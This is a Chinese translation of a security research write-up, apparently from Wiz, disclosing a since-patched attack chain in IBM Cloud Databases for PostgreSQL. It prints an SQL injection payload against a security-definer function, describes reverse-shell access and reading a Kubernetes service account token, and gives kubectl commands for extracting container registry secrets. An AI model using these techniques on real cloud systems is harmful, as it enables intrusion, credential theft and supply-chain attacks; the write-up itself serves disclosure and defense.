在这篇博文中,我们将展示我们如何能够利用 PostgreSQL
中的提权漏洞来发现一个长期存在的密钥,该密钥可以被滥用到到 IBM
云 内部CI/CD
服务进行身份验证并干预 IBM
云的内部镜像构建过程- 实际上可能使其客户面临供应链攻击。
Wiz
机构 发现了地狱密钥链,这是 IBM
云 Databases for PostgreSQL
中首个云服务提供商供应链漏洞。该漏洞由三个公开的密钥链组成(Kubernetes
服务帐户令牌、私有容器注册表密码、CI/CD
服务器凭据)以及对内部构建服务器过于宽松的网络访问。这种攻击向量可能允许黑客在客户环境中远程执行代码,以读取和修改存储在 PostgreSQL 数据库中的数据。
在 Wiz 披露其调查结果后,IBM
云 为其所有客户修补了该漏洞。无需客户操作。IBM
云 表示,没有迹象表明 IBM
云 系统或服务被进一步利用或被其他方利用。
地狱密钥链说明了分散在环境中的明文凭据如何通过损害环境完整性和租户隔离,从而给组织带来巨大风险。此外,该漏洞强调了严格网络控制的必要性,并展示了 pod
对 Kubernetes API
的访问是一种常见的错误配置,可能导致不受限制的容器注册表暴露和拉取。
2022 年 8 月,Wiz
机构 发现了地狱密钥链,这是 IBM
云 Databases for PostgreSQL
中的一个供应链漏洞。该漏洞由三个暴露的密钥和对内部构建服务器过于宽松的网络访问组成。据我们所知,这是首个影响云提供商基础设施的供应链攻击向量。地狱密钥链强调了适当的密钥管理、网络控制和租户隔离的重要性,尤其是在大型复杂的云环境中。
地狱密钥链的发现部分基于Wiz
之前的研究,该研究发现了影响大多数云供应商(例如微软Azure
, 谷歌云和阿里云)的一类PostgreSQL
漏洞。
地狱密钥链反映了云中的一种新型攻击向量,可能通过入侵云服务提供商的供应链损害它的构建过程。这不是一个孤立的案例,而是安全社区中的一个更广泛的问题——我们已经多次对多家供应商进行类似的地狱密钥链攻击。
根据我们的经验,云服务提供商 (云服务提供商
) 供应链攻击的秘诀有两个要素:禁止连接和密钥链。禁止连接代表网络访问, 具体来说,它是生产环境与其构建环境之间的连接。另一方面,密钥链象征着黑客在整个目标环境中发现的一个或多个分散密钥的集合。虽然这两种要素发布是散乱的,但它们结合后会形成一种致命的化合物。
在 地狱密钥链 中,密钥链包含三个密钥,即 Kubernetes
服务帐户令牌、私有容器注册表密码和 CI/CD
服务器凭据。当结合我们个人 PostgreSQ
L 实例和 IBM
云 Databases
构建环境之间的禁止连接时,这个密钥链使我们能够向 IBM
云 的内部构建服务器进行身份验证并操纵其组件。
Kubernetes
服务帐户令牌在研究过程的早期阶段,我们的目标与我们所做的每一次 PostgreSQL
即服务的审计相同:找到一种方法将我们在 PostgreSQL
实例中的权限提升到superuser
. 一旦我们成为superuser
,就可以在底层虚拟机上执行任意代码并从那里继续挑战内部安全边界。
就 IBM
云 而言,我们找到了多种方法来做到这一点。有些是过去在其他云供应商(如阿里云)上对我们有用的漏洞变体,有些是IBM
云 独有的。
IBM
云为其托管的PostgreSQL
客户提供的功能之一是逻辑复制。它是通过数据库中的众多PostgreSQL
函数实现的。其中一个功能是 create_subscription
。该函数由用户ibm
(数据库中的superuser
)拥有 ,并具有security definer
标志,这意味着该函数在函数所有者的许可下运行。查看代码,我们注意到一个SQL
注入漏洞,它有助于以superuser
( ibm
用户)身份执行任意查询 :
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
传递给此函数的参数在执行dblink_exec
函数之前未正确检验。这意味着我们可以向create_subscription
函数提供任意输入,从而将我们自己的 SQL
查询注入到以superuser
身份运行的特权SQL
. 为了证明这一点,我们运行了一个显示当前运行用户的查询:
INSERT INTO public.test3(data) VALUES(current_user);
然后我们编写了一个利用 SQL 注入的 SQL 查询:
被create_subscription
执行的查询是:
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
获得superuser
执行查询的能力后,我们利用PostgreSQL COPY
语句在托管数据库实例的底层虚拟机上执行任意命令。
在运行托管 PostgreSQL
数据库的底层计算实例上执行代码后,我们决定映射内部环境以了解服务弹性的程度并发现新的攻击面。
我们调用了一个反向 shell
并开始探索我们的环境。我们首先发出我们的基本侦察命令:观察机器的进程列表、它的活动连接和/etc/passwd
文件。然后,我们采取了更主动的措施,并在 IBM
云 PostgreSQL
服务的内部环境中启动了广泛的端口扫描。
这时,我们从 IBM
云 的合作伙伴团队收到一条消息,指出我们的研究再次触发了一些引起安全团队注意的警报。在讨论了我们的工作并与他们分享了我们的想法之后,他们友好地允许我们继续研究并进一步挑战安全边界。
在 IBM
云 的加持下,我们继续探索计算实例的环境。在检查环境变量时,我们注意到一些变量表明我们在 Kubernetes pod
容器内运行(例如变量POD_NAME):
KUBERNETES_PORT=tcp://172.21.0.1:443
POD_NAME=c-84aa5d80-ef9b-440e-b4f8-31fd782118b2-m-1
KUBERNETES_SERVICE_PORT=443
在 Kubernetes
集群中运行的事实让我们好奇集群是专用于我们的帐户还是在客户之间共享。我们继续进行侦察工作,并在/var/run/secrets/kubernetes.io/serviceaccount/token
文件中发现了一个 Kubernetes API
令牌。使用该令牌,我们可以访问Kubernetes API
。
随后将该 kubectl
上传到实例,使我们能够使用kubectl
并更快地执行操作。然后我们运行can-i
命令来检查我们当前的权限和可用资源,并看到我们可以访问我们命名空间中的密钥、pod
和自定义 IBM
云资源:
./kubectl auth can-i --list
Resources Verbs
selfsubjectaccessreviews.authorization.k8s.io [create]
selfsubjectrulesreviews.authorization.k8s.io [create]
secrets [get create update]
pods [get patch update list]
endpoints [get patch update]
configmaps [get patch]
...
deployments.apps [get]
replicasets.apps [get]
statefulsets.apps [get]
formations.crd.compose.com [get]
backups.crd.compose.com [patch delete list get]
buckets.crd.compose.com [patch]
podsecuritypolicies.policy [use]
podsecuritypolicies.policy [use]
securitycontextconstraints.security.openshift.io [use]
recipes.crd.compose.com [watch get update create patch list delete]
当我们在我们的命名空间中列出 pod
时,我们看到许多运行着 PostgreSQL
实例的其它 pod
。它们似乎都属于我们的帐户:
在这个阶段,我们仍然不确定命名空间分离是否用于强制执行租户隔离的唯一安全屏障,因此我们继续挖掘。
使用私有容器注册表中的镜像创建 Kubernetes pod
时,需要在 pod
配置中提供imagePullSecrets
字段,该字段引用保存容器注册表凭据的密钥。
在过去的一年里,我们试验了容器注册表拉取作为一种帮助我们在云环境中横向移动的技术。它已被多次证明是有效的。
在 K8s
集群中,容器注册表拉取是执行横向移动的可靠技术,因为它利用了一个错误配置,这是云服务提供商和客户的云环境中普遍存在的。第一步是联系 K8s
服务器并找到容器注册表地址。然后,根据注册表的配置,您有几个选项:
如果注册表是公开的,您可以开始拉取镜像并扫描它们以查找内部源代码、组件和分散的凭据。
如果注册中心需要鉴权,但可以成功取回imagePullSecrets
,则可以进行镜像拉取和扫描。但是,未能获取到imagePullSecrets
会阻止您在此过程中继续前进。
在地狱密钥链中,容器注册表需要身份验证。虽然我们在我们的命名空间中没有list
权限,但我们确实有get
权限。这意味着我们只有知道他们的名字才能获得密钥。为了在我们的集群中找到这些名称,我们使用以下命令列出了 pods 配置:
kubectl get pods -o json
我们发现 IBM
云 从私有容器注册表中提取了自定义镜像,其凭据在pipeline密钥中找到。
"imagePullSecrets": [
{
"name": "pipeline"
}
现在我们有了密钥的名字,我们就可以得到它的内容了。
kubectl get secrets -o json pipeline
{
"apiVersion": "v1",
"data": {
".dockerconfigjson": "**REDACTED**"
},
"kind": "Secret",
"metadata": {
"annotations": {
"meta.helm.sh/release-name": "**REDACTED**",
"meta.helm.sh/release-namespace": "default"
},
"creationTimestamp": "2022-04-19T11:54:23Z",
"labels": {
"app.kubernetes.io/managed-by": "Helm"
},
"name": "pipeline",
"namespace": "3337e1322e274c2298c0d78f3b2c0d60",
"resourceVersion": "1993710167",
"uid": "076f9687-8c1d-4674-a9bf-bd869b25a6b5"
},
"type": "kubernetes.io/dockerconfigjson"
}
在对.dockerconfigjson
属性进行 Base64 解码之后,我们揭示了一组可用于访问多个容器注册表的四个凭据:
{
"auths": {
"de.icr.io": {
"auth": "**REDACTED**"
},
"private.de.icr.io": {
"auth": "**REDACTED**"
},
"registry.ng.bluemix.net": {
"auth": "**REDACTED**"
},
"us.icr.io": {
"auth": "**REDACTED**"
}
}
}
我们对 IBM
云 的 IAM API
的查询显示,这是一个能够访问 IBM
云 容器注册表镜像的 API
密钥,它似乎具有读写授权!
然后,我们使用ibmcloud-cli
使用此密钥登录到特定的容器注册表。
尽管存在所谓的读写权限,但当我们尝试使用密钥将新的虚拟镜像推送到容器注册表时,我们遇到了权限被拒绝的错误。不幸的是,密钥的描述(对我们而言)不准确。
尽管这些发现并未对 IBM
云 的客户构成直接威胁,但我们仍然认为它们很严重。如果黑客获得了这些凭据,他们可能会提取并探索属于 IBM
云托管数据库服务的数百张镜像。
容器镜像通常包含属于公司知识产权的专有源代码和二进制组件。它们还可以包含黑客可以用来查找其他漏洞并在服务的内部环境中执行横向移动的信息。最后,容器镜像通常包含敏感密钥,可能会危及受害者环境中的其他资源。
我们环境中部署的每个容器都基于 IBM
云 构建的自定义镜像。在看到上一步错误配置凭据的潜在影响后,我们得出结论,我们的下一步应该是扫描镜像以查找在构建过程中可能被遗忘的密钥。尽管我们可以访问数百个镜像,但我们只提取了我们发现在我们的命名空间中运行的那些镜像 ( postgresql-db-12.7
, etcd-mgmt-3.2.7
, etcd-portal-3.2.7
, etcd-portalmgmt-3.2.7
,ostgresql-mgmt-12.7
) 并利用Yelp
的检测密钥工具来扫描它们的密钥。
为了全面扫描密钥,我们解压缩了镜像并检查了构成每个镜像的文件组合。容器镜像基于一层或多层;每个人都可能无意中包含密钥。例如,如果密钥存在于一层中但从下一层中删除,则它在容器内将完全不可见。因此,单独扫描每一层可能会揭示额外的密钥。由于这种方法,我们在被忽视的文件中发现了多个敏感密钥:
./etcd-db-3.2.7/5f58fdb011ecb91851e15da48eb42753754db46690c657537007bcc1376ea7ff.json
./etcd-mgmt-3.2.7/033093941e82efee469a858f99a8e6dfa33110da15b362bf3cab418b75cef1bd.json
./etcd-portal-3.2.7/7c57a500fac4fc4bf9cdb56e1e91a80da691b68f770f12c2eb2d0dc673f21417.json
./etcd-portalmgmt-3.2.7/4f4a7c7fd8d3d5f80c5169a5213fe3654bc63911c160a26b69afc00c0de14869.json
./postgresql-db-12.7/f6cb8f69fe9743f19bce248a668213031db4de469af44cf8a20c59b881fe5807.json
./postgresql-mgmt-12.7/9ffe9a0b853bc33ec6faf354017273624f9f2604f53ed89b5814c2cdfd3afe0a.json
这些文件是镜像的清单文件,包含一个记录在镜像构建过程中执行的历史命令的history
部分。这些命令包括从IBM
云内部存储库中拉取组件,其中内部存储库的密码作为命令行参数提供。
这是最初出现在容器镜像的元数据历史部分中的构建命令之一:
**REDACTED**_REPO_GENERIC=**REDACTED**
**REDACTED**_TOKEN=**REDACTED**
**REDACTED**_USERNAME=**REDACTED**@nomail.relay.ibm.com
FTP3PASS=**REDACTED** FTP3USER=**REDACTED**@us.ibm.com
/bin/sh -c curl -sLO https://`echo ${**REDACTED** _USERNAME} | sed
s/@/%40/g`:${**REDACTED** _TOKEN}@**REDACTED** ${**REDACTED**
_REPO_GENERIC}/get-pip.py && python3 get-pip.py && rm get-pip.py
使用这些文件,我们揭示了几个 IBM
云 内部服务的凭证,包括:
FTP 凭据
内部组件存储库凭据
通过将这些密钥收集在密钥链上,我们知道可以渗透哪些服务器。但是如果没有所需的网络访问权限,这个密钥链就毫无意义。
为了确定哪些服务器与镜像构建过程最相关,我们回过头来检查用于构建容器镜像的历史命令,并了解涉及哪些组件。当我们尝试从托管 PostgreSQ
L 实例的机器访问这些服务器时,我们震惊地发现可以通过网络访问内部 IBM
云 构建服务器!然后,我们继续使用组件存储库凭据向他们进行身份验证,并在此过程中成功发现了禁止连接。
确定我们获得的凭据是否允许我们对托管组件的存储库执行写操作的唯一方法只是简单的测试。
为了测试我们的权限,我们在 PostgreSQL
镜像构建过程中使用的存储库中创建了一些文件。这证明我们可以覆盖安装在每个 PostgreSQL
实例上的软件包中的任意文件,从而建立供应链攻击路径。
我们对 IBM
云 Databases for PostgreSQL
的研究强化了我们从其他云供应商那里学到的东西——对 PostgreSQL
引擎的定制化有效地为服务引入了新的漏洞。这些漏洞可能已被黑客利用为广泛的利用链的一部分,最终导致对平台的供应链攻击。
在 地狱密钥链 中,我们使用容器注册表拉取来恢复内部源代码和凭据,最终获得了授予对内部可信存储库的读写访问权限的密钥。
过度宽松的网络访问也被证明是危险的。通过发现 IBM
云 的构建环境与其客户的生产环境之间的禁止连接,我们利用必要的凭证来执行地狱密钥链。
最后,提醒我们密钥扫描的价值。尽管在以前的案例中,我们的团队设法通过利用相邻租户实例或控制平面中的漏洞来破坏租户隔离,但在 IBM
云 Databases for PostgreSQL
的案例中,致命弱点是不正确的密钥管理。无论您的组织的安全措施有多强大,如果明文凭据分散在其环境中,它就会面临巨大的风险。
云环境中被遗忘的密钥是一个常见的安全问题。这些密钥通常是云访问密钥、密码、CI/CD
凭证和 API
访问令牌。密钥的很大一部分是来自服务的构建和部署过程的遗物。在我们去年对多个云供应商的研究中,我们在许多地方发现了敏感的密钥,包括自构建过程以来一直保留在服务器镜像中的 Linux bash
历史和日志文件。此外,我们了解到这个问题并不是云计算独有的——在没有关于如何将代码或组件部署到云存储桶的最佳实践的情况下,我们经常看到客户不小心上传了他们的 git
(.git) 和部署相关的如 CircleCI
配置 (.circleci/config.yml
) 等文件添加到其可公开访问的 S3 存储桶中。
对外服务的环境与组织内部网络之间建立的连接使黑客能够获得更深的立足点并保持持久性。这些内部环境的配置通常不如生产环境严格。
在地狱密钥链中,由于缺乏足够的网络控制,我们得以发现禁止连接,这是供应链攻击的重要组成部分。这种错误配置并非 IBM
云 独有,因为我们已经在多家云提供商和客户中观察到这种情况。我们认为,这个问题在行业讨论和云安全解决方案中被忽视了。
容器注册表配置错误是云提供商和客户环境中的一个普遍问题。通过使用容器注册表拉取,黑客可以获得在整个环境中横向移动所需的工具。确保您的容器注册表解决方案实施适当的访问控制和范围界定。
我们以三部分报告的形式向 IBM
云 披露了我们的发现。IBM
云 快速调查并修复了我们发现的漏洞和安全问题。我们很高兴与 IBM
云 的安全团队合作,他们非常认真地对待这些问题,并迅速、专业地解决这些问题。
Wiz
开始研究 IBM
云 Databases
Wiz
在 IBM
云 Databases for PostgreSQL
中发现了多个安全问题IBM
云 的安全团队检测到 Wiz
的活动并要求停止研究Wiz
分享了关于所发现问题的详细报告IBM
云 承认了该报告IBM
云 允许 Wiz 继续其研究Wiz
报告了 Kubernetes
-相关安全问题Wiz
报告了与密钥相关的安全问题IBM
云 完全缓解了所有报告的问题